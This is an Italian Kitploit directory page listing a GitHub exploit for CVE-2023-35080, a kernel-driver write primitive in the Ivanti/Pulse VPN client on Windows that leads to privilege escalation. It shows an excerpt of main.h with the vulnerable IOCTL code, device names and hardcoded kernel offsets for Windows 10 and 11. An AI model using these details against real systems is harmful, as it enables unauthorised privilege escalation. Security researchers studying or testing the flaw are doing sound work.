Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Ivanti-Pulse_VPN-Client_Exploit-CVE-2023-35080_Privilege-escalation | Kitploit
Strumenti/GitHubGitHub/hophouse/ivanti-pulse_vpn-client_exploit-cve-2023-35080_privilege-escalation
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitBinary Exploitation
GitHubhophouse/ivanti-pulse_vpn-client_exploit-cve-2023-35080_privilege-escalation

Ivanti-Pulse_VPN-Client_Exploit-CVE-2023-35080_Privilege-escalation

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
12 anni faNon ancora revisionato

Exploit del client VPN Ivanti/Pulse di CVE-2023-35080 che porta a un'escalation dei privilegi

Codice relativo allo sfruttamento della CVE-2023-35080 che sfrutta una primitiva di scrittura nel driver del kernel del client VPN Ivanti/Pulse su Windows.
La primitiva di scrittura porta a un'escalation dei privilegi.

L'exploit è stato realizzato grazie ai dettagli tecnici condivisi nel seguente articolo : https://northwave-cybersecurity.com/ivanti-pulse-vpn-privilege-escalation.

Alcuni dettagli sono hardcoded nel file main.h :

root@kitploit:~
#pragma once

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <winternl.h>


#define VULN_IOCTL  0x80002018

////////

/*
 * jnprTdi_9115_15819 W10
 */

 // #define DEVICE_NAME_W L"jnprTdi_9115_15819"

 // // KxWaitForSpinLockAndAcquire
 // #define SPIN_OFFSET 0x300ea0

 // // KxTryToAcquireSpinLock
 // #define TRY_SPIN_OFFSET 0x361758

 // // void write_char(byte param_1,byte **param_2,int *param_3)
 // #define WRITE_CHAR_OFFSET 0x3d5878

 ////////

 /*
  * jnprTdi_9117_18209 W11
  */

#define DEVICE_NAME_W L"jnprTdi_9117_18209"

  // KxWaitForSpinLockAndAcquire 
#define SPIN_OFFSET 0x300e9e

// KxTryToAcquireSpinLock
#define TRY_SPIN_OFFSET 0x361757

// void write_char(byte param_1,byte **param_2,int *param_3)
#define WRITE_CHAR_OFFSET 0x3d93f8

////////

[...]
Scarica lo strumento